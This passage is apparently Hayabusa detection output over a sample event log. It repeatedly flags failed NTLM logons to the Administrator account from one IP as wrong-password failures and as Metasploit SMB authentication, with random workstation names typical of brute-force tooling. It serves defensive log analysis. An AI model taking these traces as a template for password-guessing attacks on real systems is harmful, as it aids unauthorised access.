Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.039 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kptipiLujNVePYfy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.039 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.091 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: plaXJ1rEGpU3SzV2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.091 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.132 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I4pALF2luLfg36GC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.132 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.173 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZLO4cufbFcRhRy8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.173 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.215 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a845OfrFKxy31Yhg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.215 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QnPM7uhs8y4BaP6I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7fW5FzQ4jbWDJxXc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.326 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: huKy3ruTPAlx94pI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.326 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g78Kx7hkMuUGIoX1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.363 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: erSXtXvMi8Cg1PWw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.417 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.462 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VaqXgO2US87zoXLl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.462 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.501 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QHEfAfFuAR2pX3LO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.501 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4Owk2elGaC5DOm1U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.543 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.580 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VXPynWzVNADN56a4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.580 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.619 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xwfwZ0hXFaFwqymH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.619 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QYlZwLsvrsuqUZ4q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.657 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pvGrzr30eVl5TGhA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.707 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.791 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tqdJcHWbdGcIIHBr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.791 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YDt69bIJ1yI6PXLg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtE2uMuOe8QPAKOj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.879 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BWQDlZDgFj9NmMhJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.911 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ncQiyLyHCXr8knGa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:20.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XjVmLfmcPMYbmdin : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.072 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gU2HjzjDxHsnvENI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.072 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.103 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cUPn5CEz2LtwRwvZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.103 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.140 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hCz069oBFXqpshbU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.140 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.187 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dzhc9PVRVP69tshD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.187 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.226 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ejA3ZNfKWEs8zAMX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.226 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.265 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U5egiL2PGOrYCHv5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.265 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.302 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YYhIM3zla6KcbKbM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.302 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WjyQJnVBO4iC9Tkw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.387 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: g6Tpp8TRa2nRxHzo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.387 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DyLvo5Bn2HzyANdH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.422 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.465 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NaXNThuZDGqJ7oCP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.465 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.505 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 42Sb7p19cQsEV30b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.505 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.540 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: An6629wgflzSgqY5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.540 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iO7JktEihqddmEtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nG97BFOgKxnZaqi4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SH2D24c6nRGDL4Oe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.668 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uiu2yfaM2JQQZoLF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YQx9PG8DtR2tMjvS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.792 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OoAWryajKhLD7RyY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.792 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PgewSeaVugP1TXss : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.836 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.911 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sPMCPdCAnz4upz8X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.911 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dUbV6xnGeBWE8Dif : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:21.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.001 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dIJ9mZczFO1GKItV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.001 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wW0vxE4o68L70Sra : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 